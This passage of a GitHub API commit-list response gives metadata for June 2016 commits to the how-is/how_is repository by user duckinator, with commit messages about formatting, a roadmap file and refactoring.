Dash","email":"me@duckie.co","date":"2016-06-15T19:32:02Z"},"message":"Formatting.","tree":{"sha":"ff8bfd8b5a431ee9fb02d35d99fd51c63793afab","url":"https://api.github.com/repos/how-is/how_is/git/trees/ff8bfd8b5a431ee9fb02d35d99fd51c63793afab"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","html_url":"https://github.com/how-is/how_is/commit/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","url":"https://api.github.com/repos/how-is/how_is/commits/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","html_url":"https://github.com/how-is/how_is/commit/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8"}]},{"sha":"3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2UyYTBkYmY0NWQ2MzAzMGViOTJlOWM2YWJiYzdkNWJjMWU1M2FkOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:31:08Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:31:08Z"},"message":"Add information about release plans.","tree":{"sha":"48f5046d5a93536d42ce6f1fa1bbe0a171277f03","url":"https://api.github.com/repos/how-is/how_is/git/trees/48f5046d5a93536d42ce6f1fa1bbe0a171277f03"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","html_url":"https://github.com/how-is/how_is/commit/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3e2a0dbf45d63030eb92e9c6abbc7d5bc1e53ad8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"002f26612a0a97586487fbc8965b97e367111f5f","url":"https://api.github.com/repos/how-is/how_is/commits/002f26612a0a97586487fbc8965b97e367111f5f","html_url":"https://github.com/how-is/how_is/commit/002f26612a0a97586487fbc8965b97e367111f5f"}]},{"sha":"002f26612a0a97586487fbc8965b97e367111f5f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDAyZjI2NjEyYTBhOTc1ODY0ODdmYmM4OTY1Yjk3ZTM2NzExMWY1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:22:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:22:27Z"},"message":"Add roadmap.markdown.","tree":{"sha":"19ae07ab83be2528e6fdf2e29a01eef2a36b5dfa","url":"https://api.github.com/repos/how-is/how_is/git/trees/19ae07ab83be2528e6fdf2e29a01eef2a36b5dfa"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/002f26612a0a97586487fbc8965b97e367111f5f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/002f26612a0a97586487fbc8965b97e367111f5f","html_url":"https://github.com/how-is/how_is/commit/002f26612a0a97586487fbc8965b97e367111f5f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/002f26612a0a97586487fbc8965b97e367111f5f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1dfddca787e679ece75123fae459bab031db2801","url":"https://api.github.com/repos/how-is/how_is/commits/1dfddca787e679ece75123fae459bab031db2801","html_url":"https://github.com/how-is/how_is/commit/1dfddca787e679ece75123fae459bab031db2801"}]},{"sha":"1dfddca787e679ece75123fae459bab031db2801","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWRmZGRjYTc4N2U2NzllY2U3NTEyM2ZhZTQ1OWJhYjAzMWRiMjgwMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-13T02:19:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-13T02:19:45Z"},"message":"Merge branch ''feature/windows-check'' of git://github.com/olleolleolle/how_is","tree":{"sha":"bd3a70b877bfbbcaa6bd4954907bc6db9b60adb5","url":"https://api.github.com/repos/how-is/how_is/git/trees/bd3a70b877bfbbcaa6bd4954907bc6db9b60adb5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1dfddca787e679ece75123fae459bab031db2801","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1dfddca787e679ece75123fae459bab031db2801","html_url":"https://github.com/how-is/how_is/commit/1dfddca787e679ece75123fae459bab031db2801","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1dfddca787e679ece75123fae459bab031db2801/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"be38fbc8052b63db5e504a60b77bd11c8b3e170a","url":"https://api.github.com/repos/how-is/how_is/commits/be38fbc8052b63db5e504a60b77bd11c8b3e170a","html_url":"https://github.com/how-is/how_is/commit/be38fbc8052b63db5e504a60b77bd11c8b3e170a"},{"sha":"6d1211e238f26e2cee09af75750942e5d7f847c5","url":"https://api.github.com/repos/how-is/how_is/commits/6d1211e238f26e2cee09af75750942e5d7f847c5","html_url":"https://github.com/how-is/how_is/commit/6d1211e238f26e2cee09af75750942e5d7f847c5"}]},{"sha":"be38fbc8052b63db5e504a60b77bd11c8b3e170a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmUzOGZiYzgwNTJiNjNkYjVlNTA0YTYwYjc3YmQxMWM4YjNlMTcwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:10:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:10:46Z"},"message":"~~~punctuation~~~","tree":{"sha":"ab1a8f049a678631424159d8a83aeb0ca52051e5","url":"https://api.github.com/repos/how-is/how_is/git/trees/ab1a8f049a678631424159d8a83aeb0ca52051e5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/be38fbc8052b63db5e504a60b77bd11c8b3e170a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/be38fbc8052b63db5e504a60b77bd11c8b3e170a","html_url":"https://github.com/how-is/how_is/commit/be38fbc8052b63db5e504a60b77bd11c8b3e170a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/be38fbc8052b63db5e504a60b77bd11c8b3e170a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6af96771ef909a1e854c722e11219924b8964774","url":"https://api.github.com/repos/how-is/how_is/commits/6af96771ef909a1e854c722e11219924b8964774","html_url":"https://github.com/how-is/how_is/commit/6af96771ef909a1e854c722e11219924b8964774"}]},{"sha":"6af96771ef909a1e854c722e11219924b8964774","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmFmOTY3NzFlZjkwOWExZTg1NGM3MjJlMTEyMTk5MjRiODk2NDc3NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:08:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:08:00Z"},"message":"Don''t export it twice.","tree":{"sha":"0fda6ace27fbd1c7fcb1a01aab6ef9f54a7f2686","url":"https://api.github.com/repos/how-is/how_is/git/trees/0fda6ace27fbd1c7fcb1a01aab6ef9f54a7f2686"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6af96771ef909a1e854c722e11219924b8964774","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6af96771ef909a1e854c722e11219924b8964774","html_url":"https://github.com/how-is/how_is/commit/6af96771ef909a1e854c722e11219924b8964774","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6af96771ef909a1e854c722e11219924b8964774/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"339188eb0459e28146926ed0cba2e58a6c1071e9","url":"https://api.github.com/repos/how-is/how_is/commits/339188eb0459e28146926ed0cba2e58a6c1071e9","html_url":"https://github.com/how-is/how_is/commit/339188eb0459e28146926ed0cba2e58a6c1071e9"}]},{"sha":"339188eb0459e28146926ed0cba2e58a6c1071e9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzM5MTg4ZWIwNDU5ZTI4MTQ2OTI2ZWQwY2JhMmU1OGE2YzEwNzFlOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:00:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T12:00:17Z"},"message":"Ignore PNG files.","tree":{"sha":"3853bea8f47b13e8e44d1948eb6e6eb9e4801c3b","url":"https://api.github.com/repos/how-is/how_is/git/trees/3853bea8f47b13e8e44d1948eb6e6eb9e4801c3b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/339188eb0459e28146926ed0cba2e58a6c1071e9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/339188eb0459e28146926ed0cba2e58a6c1071e9","html_url":"https://github.com/how-is/how_is/commit/339188eb0459e28146926ed0cba2e58a6c1071e9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/339188eb0459e28146926ed0cba2e58a6c1071e9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fad158fa8076dd3174737d88ff16d1a0d5412a02","url":"https://api.github.com/repos/how-is/how_is/commits/fad158fa8076dd3174737d88ff16d1a0d5412a02","html_url":"https://github.com/how-is/how_is/commit/fad158fa8076dd3174737d88ff16d1a0d5412a02"}]},{"sha":"fad158fa8076dd3174737d88ff16d1a0d5412a02","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmFkMTU4ZmE4MDc2ZGQzMTc0NzM3ZDg4ZmYxNmQxYTBkNTQxMmEwMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:54:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:54:51Z"},"message":"Use the correct file.","tree":{"sha":"55488e61240a57b0c17a31f0e74430ffb26f7f4a","url":"https://api.github.com/repos/how-is/how_is/git/trees/55488e61240a57b0c17a31f0e74430ffb26f7f4a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fad158fa8076dd3174737d88ff16d1a0d5412a02","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fad158fa8076dd3174737d88ff16d1a0d5412a02","html_url":"https://github.com/how-is/how_is/commit/fad158fa8076dd3174737d88ff16d1a0d5412a02","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fad158fa8076dd3174737d88ff16d1a0d5412a02/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","url":"https://api.github.com/repos/how-is/how_is/commits/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","html_url":"https://github.com/how-is/how_is/commit/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5"}]},{"sha":"bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmY1YjIwOGZjMmU5ZjZhOWViYWYyNzc1YTFmNTg4NzYyYzdkZjhkNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:50:59Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:50:59Z"},"message":"Make image embeds work in PDF version.","tree":{"sha":"d737dc4eae50af312322a94aa39efbaf18cdeaf8","url":"https://api.github.com/repos/how-is/how_is/git/trees/d737dc4eae50af312322a94aa39efbaf18cdeaf8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","html_url":"https://github.com/how-is/how_is/commit/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bf5b208fc2e9f6a9ebaf2775a1f588762c7df8d5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"774bb813f5092ff773a995c45ea69c7f6a639f7c","url":"https://api.github.com/repos/how-is/how_is/commits/774bb813f5092ff773a995c45ea69c7f6a639f7c","html_url":"https://github.com/how-is/how_is/commit/774bb813f5092ff773a995c45ea69c7f6a639f7c"}]},{"sha":"774bb813f5092ff773a995c45ea69c7f6a639f7c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzc0YmI4MTNmNTA5MmZmNzczYTk5NWM0NWVhNjljN2Y2YTYzOWY3Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:39:05Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-11T11:39:05Z"},"message":"Huge refactoring.","tree":{"sha":"4957a15d32e38ca61ccfd43592effeccebf5bd1e","url":"https://api.github.com/repos/how-is/how_is/git/trees/4957a15d32e38ca61ccfd43592effeccebf5bd1e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/774bb813f5092ff773a995c45ea69c7f6a639f7c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/774bb813f5092ff773a995c45ea69c7f6a639f7c","html_url":"https://github.com/how-is/how_is/commit/774bb813f5092ff773a995c45ea69c7f6a639f7c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/774bb813f5092ff773a995c45ea69c7f6a639f7c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fd1579c90bd1d7c83f7eb85dcafb05386e8da126","url":"https://api.github.com/repos/how-is/how_is/commits/fd1579c90bd1d7c83f7eb85dcafb05386e8da126","html_url":"https://github.com/how-is/how_is/commit/fd1579c90bd1d7c83f7eb85dcafb05386e8da126"}]},{"sha":"fd1579c90bd1d7c83f7eb85dcafb05386e8da126","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmQxNTc5YzkwYmQxZDdjODNmN2ViODVkY2FmYjA1M